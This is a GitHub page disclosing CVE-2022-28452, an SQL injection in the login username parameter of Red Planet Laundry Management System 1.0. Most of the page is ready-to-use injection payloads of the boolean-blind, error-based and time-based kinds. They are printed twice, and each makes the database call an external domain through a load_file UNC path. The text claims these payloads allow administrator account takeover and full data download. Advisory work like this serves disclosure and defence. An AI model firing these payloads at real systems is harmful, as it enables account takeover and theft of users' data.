Skip to content
main
Switch branches/tags

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
CVE-mitre/2022/CVE-2022-28452/
CVE-mitre/2022/CVE-2022-28452/

Latest commit

 

Git stats

Files

Permalink
Failed to load latest commit information.
Type
Name
Latest commit message
Commit time
 
 
PoC
 
 
 
 

CVE-2022-28452, Red Planet Laundry Management System 1.0

Vendor

WARNING: ONLINE VULNERABILITY - Critical Status.

Description:

The username parameter appears to be vulnerable to SQL injection attacks. The payload '+(select load_file('\\266ilbos73q2xlua40ijk4lfv61zp2dtgh84ysn.glupakproZ.com\wdj'))+' was submitted in the username parameter. This payload injects a SQL sub-query that calls MySQL's load_file function with a UNC file path that references a URL on an external domain. The application interacted with that domain, indicating that the injected SQL query was executed. The attacker can take administrator accounts control and also of all accounts on this system, also the malicious user can download all information about this system.

Status: CRITICAL

[+] Payloads:

---
Parameter: username (POST)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: username=admin'+(select load_file('\\\\266ilbos73q2xlua40ijk4lfv61zp2dtgh84ysn.glupakproZ.com\\wdj'))+'' RLIKE (SELECT (CASE WHEN (9687=9687) THEN 0x61646d696e+(select load_file(0x5c5c5c5c323636696c626f7337337132786c75613430696a6b346c667636317a703264746768383479736e2e676c7570616b70726f5a2e636f6d5c5c77646a))+'' ELSE 0x28 END)) AND 'xZRt'='xZRt&password=1234&login=Login

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: username=admin'+(select load_file('\\\\266ilbos73q2xlua40ijk4lfv61zp2dtgh84ysn.glupakproZ.com\\wdj'))+'' AND (SELECT 2011 FROM(SELECT COUNT(*),CONCAT(0x7162787871,(SELECT (ELT(2011=2011,1))),0x716b6b7a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'wmtL'='wmtL&password=1234&login=Login

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=admin'+(select load_file('\\\\266ilbos73q2xlua40ijk4lfv61zp2dtgh84ysn.glupakproZ.com\\wdj'))+'' AND (SELECT 6418 FROM (SELECT(SLEEP(5)))aYrS) AND 'Cfxg'='Cfxg&password=1234&login=Login
---

Reproduce:

href

Proof and Exploit:

href

OFLINE VULNERABILITY:

Description:

The username parameter appears to be vulnerable to SQL injection attacks. The payload '+(select load_file('\\266ilbos73q2xlua40ijk4lfv61zp2dtgh84ysn.glupakproZ.com\wdj'))+' was submitted in the username parameter. This payload injects a SQL sub-query that calls MySQL's load_file function with a UNC file path that references a URL on an external domain. The application interacted with that domain, indicating that the injected SQL query was executed. The attacker can take administrator accounts control and also of all accounts on this system, also the malicious user can download all information about this system.

Status: CRITICAL

[+] Payloads:

---
Parameter: username (POST)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: username=admin'+(select load_file('\\\\266ilbos73q2xlua40ijk4lfv61zp2dtgh84ysn.glupakproZ.com\\wdj'))+'' RLIKE (SELECT (CASE WHEN (9687=9687) THEN 0x61646d696e+(select load_file(0x5c5c5c5c323636696c626f7337337132786c75613430696a6b346c667636317a703264746768383479736e2e676c7570616b70726f5a2e636f6d5c5c77646a))+'' ELSE 0x28 END)) AND 'xZRt'='xZRt&password=1234&login=Login

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: username=admin'+(select load_file('\\\\266ilbos73q2xlua40ijk4lfv61zp2dtgh84ysn.glupakproZ.com\\wdj'))+'' AND (SELECT 2011 FROM(SELECT COUNT(*),CONCAT(0x7162787871,(SELECT (ELT(2011=2011,1))),0x716b6b7a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'wmtL'='wmtL&password=1234&login=Login

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=admin'+(select load_file('\\\\266ilbos73q2xlua40ijk4lfv61zp2dtgh84ysn.glupakproZ.com\\wdj'))+'' AND (SELECT 6418 FROM (SELECT(SLEEP(5)))aYrS) AND 'Cfxg'='Cfxg&password=1234&login=Login
---

Reproduce:

href

More info:

href